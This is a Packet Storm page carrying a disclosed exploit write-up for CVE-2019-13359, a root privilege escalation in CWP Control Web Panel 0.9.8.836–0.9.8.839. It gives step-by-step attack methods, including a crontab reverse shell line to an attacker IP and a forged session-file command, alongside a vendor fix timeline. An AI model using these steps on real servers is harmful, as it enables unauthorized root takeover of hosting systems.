what you don't know can hurt you

CentOS Control Web Panel 0.9.8.836 Privilege Escalation

CentOS Control Web Panel 0.9.8.836 Privilege Escalation
Posted Jul 16, 2019
Authored by Pongtorn Angsuchotmetee, Nissana Sirijirakal, Narin Boonwasanarak

CentOS Control Web Panel version 0.9.8.836 suffers from a privilege escalation vulnerability.

tags | exploit, web
systems | linux, centos
advisories | CVE-2019-13359
MD5 | a9210bf1e43adfc4a34316bfb77c32ed

CentOS Control Web Panel 0.9.8.836 Privilege Escalation

Change Mirror Download
//====================================================================\\
|| ||
|| CWP Control Web Panel 0.9.8.836 - 0.9.8.839 ||
|| Root Privilege Escalation ||
|| ||
\\====================================================================//

# ====================================================================
# Information
# ====================================================================
# Exploit Title: CWP (CentOS Control Web Panel) < 0.9.8.40 Root Privilege Escalation
# Date: 6 July 2019
# Exploit Author: Pongtorn Angsuchotmetee, Nissana Sirijirakal, Narin Boonwasanarak
# Vendor Homepage: https://control-webpanel.com/changelog
# Software Link: http://centos-webpanel.com/cwp-el7-latest (Have to change
version in the script)
# Version: 0.9.8.836 to 0.9.8.839
# Tested on: CentOS 7.6.1810 (Core)
# CVE : CVE-2019-13359

Product : CWP Control Web Panel
Vulnerability Name : Root Privilege Escalation
version : 0.9.8.836
Fixed on : 0.9.8.840
Test on : Tested on: CentOS 7.6.1810 (Core)
Reference : http://centos-webpanel.com/
: https://control-webpanel.com/changelog
CVE-Number : CVE-2019-13359


# ====================================================================
# Root course of the vulnerability
# ====================================================================
1. The session file are store at /tmp directory
2. rkey value in the session file dose not change when access by the same source IP address



# ====================================================================
# Steps to Reproduce
# ====================================================================

Session prepareation state
1. Check the current IP address of attacker
2. Set the IP address on testing environment network
3. Login as root on port 2031/2087 and save the cookie name from web browser (cwsrp-xxxxxxxxxxxxxxxxxxxxx)
4. Copy the content of session file (/tmp/sess_xxxxxxxxxxxxxx) to a new file "sess_123456" # we need "rkey"
5. Save the token value from the session file (cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)

* rkey is created from client ip, then do not change client ip when attack the real target

Attack state

#
# Method 1 Uploading via reverse shell
#

1. Go to crontab and set "bash -i >& /dev/tcp/[Attacker-IP]/8000 0>&1"
2. Create session file through reverse shell

echo "username|s:4:\"root\";logged|b:1;rkey|s:20:\"[RKEY]\";token|s:36:\"[TOKEN-KEY]\";" > /tmp/sess_123456

3. On another browser, replace the token value in the URL https://[target.com]:2031/cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/admin/index.php
4. Change file permission "chmod 664 /tmp/sess_123456"
5. Create cookie name "cwsrp-xxxxxxxxxxxxxxxxxxxxx" and set its value to "123456" (sess_123456)
6. Open the URL and become the root user


#
# Method 2 Uploading via File manager function
#

1. On the real target, login as a normal user on port 2083 and upload file "sess_123456" to /tmp directory and set permission to 644 (chmod 664 /tmp/sess_123456) via crontab feature
2. On another browser, replace the token value in the URL https://[target.com]:2031/cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/admin/index.php
3. Create cookie name "cwsrp-xxxxxxxxxxxxxxxxxxxxx" and set its value to "123456" (sess_123456)
4. Open the URL and become the root user

*From step 1 - 4 need doing it quickly. if we do it too slow, the application will change the permission of file sess_123456 to 600, and the file will become 0 byte. If this happened, attacker need to change session file name and repeat the steps again



# ====================================================================
# PoC
# ====================================================================
https://github.com/i3umi3iei3ii/CentOS-Control-Web-Panel-CVE/blob/master/CVE-2019-13359.md



# ====================================================================
# Timeline
# ====================================================================
2019-06-30: Discovered the bug
2019-06-30: Reported to vendor
2019-06-30: Vender accepted the vulnerability
2019-07-02: The vulnerability has been fixed
2019-07-06: Published



# ====================================================================
# Discovered by
# ====================================================================
Pongtorn Angsuchotmetee
Nissana Sirijirakal
Narin Boonwasanarak

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    19 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close